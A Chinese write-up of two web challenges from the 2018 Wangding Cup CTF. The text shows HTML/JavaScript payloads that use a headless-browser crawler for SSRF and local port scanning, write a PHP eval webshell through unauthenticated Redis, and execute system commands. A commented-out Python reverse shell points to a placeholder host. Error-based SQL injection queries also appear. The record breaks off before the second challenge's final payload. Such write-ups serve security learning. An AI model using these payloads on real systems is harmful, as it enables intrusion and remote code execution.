2018网鼎杯WEB题解

youncyb 发布于 2018-08-23 2302 次阅读 CTFwriteup


1.spider

  • 0x01题目描述

根据描述,应该会去解析你上传的文件,如果是html文件,会将a标签的内容进行输出,写一个html文件进行测试

</pre>
<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
var a = document.getElementById("111");
a.innerHTML="解析js";
</script>

</body>
</html>
<pre>

结果如下,证明我们的猜测是对的,本以为后台会有robot去点击我们的页面,试着xss打一波cookie,结果并没有什么卵用

继续访问robots.txt页面发现一个/get_sourcecode

的目录,仿问这个目录,发现要127.0.0.1才可以,尝试ip头的伪造,无果,猜测多半是remote_addr。

  • 0x02尝试获取网页源码

换个思路:结合前面的js解析页面,可以尝试用XMLHttpRequest拿源码,代码如下:

</pre>
<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
function createXmlHttp() {
//根据window.XMLHttpRequest对象是否存在使用不同的创建方式
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest(); //FireFox、Opera等浏览器支持的创建方式
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");//IE浏览器支持的创建方式
}
}

//直接通过XMLHttpRequest对象获取远程网页源代码
function getSource(url) {

createXmlHttp(); //创建XMLHttpRequest对象
xmlHttp.onreadystatechange = writeSource; //设置回调函数
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}

//将远程网页源代码写入页面文字区域
function writeSource() {
if (xmlHttp.readyState == 4) {
document.getElementById("111").innerHTML = xmlHttp.responseText;
}
}

var url ='http://127.0.0.1/get_sourcecode';
getSource(url);
</script>
</body>
</html>
<pre>

成功拿到源码:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__, static_url_path='')


def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000 * 1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE,
                            stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data


def casperjs_html(url):
    cmd = 'casperjs {0} —ignore-ssl-errors=yes —url={1}'.format(
        os.path.dirname(__file__) + '/casper/casp.js', url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        # hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        # hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/' + filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: ' + url + '\n' + links
        return render_template('index.html', links=links)


@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__) + '/run.py') as f:
                code = f.read()
            return code
    else:
        return ''


@app.errorhandler(404)
def page_not_found(error):
    return '404'


@app.errorhandler(500)
def internal_server_error(error):
    return '500'


@app.errorhandler(403)
def unauthorized(error):
    return '403'


if __name__ == '__main__':
    pass
  • 0x03利用redis写webshell

发现hint,dbfilename,老手一看便知道是redis了:

那么这道题的思路就很清晰了:利用redis的未授权写webshell(或者直接读取flag.php),先扫描一下开启了哪些端口:

<!DOCTYPE html>
<html>
<head>
<title>sss</title>
</head>
<body>
<a id="111">111</a>
<script>
var data = '';
var body = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8081];
for(var i in ports){
var script = document.createElement("script");
script.src="http://127.0.0.1:" + ports[i];
script.setAttribute("onload","data += '" + ports[i] + " OPEN; '; document.getElementById('111').innerHTML = data;");
body.appendChild(script);
}
</script>
</body>
</html>

(ps:这里出现一个小坑,6379扫描出来是关闭的但是实际上是开启了的,具体原因不明)结合题目后来给的提示8000开启了apache,这样就可以利用
redis向apache默认web路径/var/www/html/下写入webshell:

构造webshell:

</pre>
level=low_273eac1c
<!DOCTYPE html>
<html>
<head>
<title>test</title>
<meta charset="utf-8">
</head>
<body>
<a id="flag">a标签的测试</a>
<script>
var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var data = new FormData();
data.append("0","flushall" + "\r\nconfig set dir /var/www/html/" + "\r\nconfig set dbfilename shell1.php" +'\r\nset 1 "\\n\\n<?Php header(\'Access-Control-Allow-Origin:*\'); eval($_GET[\'flag\']);?>\\n\\n"' + "\r\nsave" + "\r\nquit");
xmlhttp.open("POST","http://127.0.0.1:6379",true);
xmlhttp.send(data);
</script>

</body>
</html>
<pre>

然后构造访问文件:

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}
else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell1.php?flag=system('cat%20flag.php');",true);
xmlhttp.send();
/* 反弹shell 
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?s=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
*/
}
loadXMLDoc();
</script>

 

2.facebook

  • 0x01题目分析

进行注册后发现在view.php页面会将blog的内容展示出来,并且此页面的no参数存在注入并且在robots.txt页面中可以得到user.php.bak的源码:

&lt;?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this-&gt;name = $name;
        $this-&gt;age = (int)$age;
        $this-&gt;blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this-&gt;get($this-&gt;blog);
    }

    public function isValidBlog ()
    {
        $blog = $this-&gt;blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
  • 0x02注入查询

and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database())),1) 
and updatexml(1,make_set(3,'~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),1) 
and updatexml(1,make_set(3,'~',(select data from users)),1)

可得到表users中:
1.no
2.username
3.passwd
4.data

查询data列发现一个序列化对象UserInfo和user.php源码的类相同:

结合view.php会加载blog内容,极有可能加载的便是数据库中data的序列化内容,那么我们便可以构造一个ssrf,即构造一个union查询来加载flag.php: